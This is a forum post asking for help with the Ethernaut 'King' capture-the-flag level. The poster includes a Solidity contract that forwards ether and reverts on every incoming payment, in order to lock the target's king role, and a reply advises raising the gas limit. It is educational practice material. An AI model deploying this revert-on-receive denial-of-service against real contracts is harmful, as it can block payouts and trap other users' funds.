Ethernaut King Solution Out of Gas problem

Hi, I have tried to solve level 9 in ethernaut and wrote the following code to try complete the level:

contract badKing {
    address addr;
    address payable public owner;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function sendEth(address _addr, uint gaslimit) payable public{
        addr = _addr;
        addr.call{value:msg.value, gas: gaslimit}("");
    }
    receive() payable external {
        revert("1");
    }
    function sendEthToOwner() public {
        owner.transfer(address(this).balance);
    }
}

When I tested this code on the remix VM, the contract worked just fine however whenever I deployed the contract and called sendEth() on the rinkeby test network, I always get an out of gas error which I have no idea how to circumvent.
What is the contract doing to use so much gas and how can I fix it?

Thanks

Just increase the gas limit.

1 Like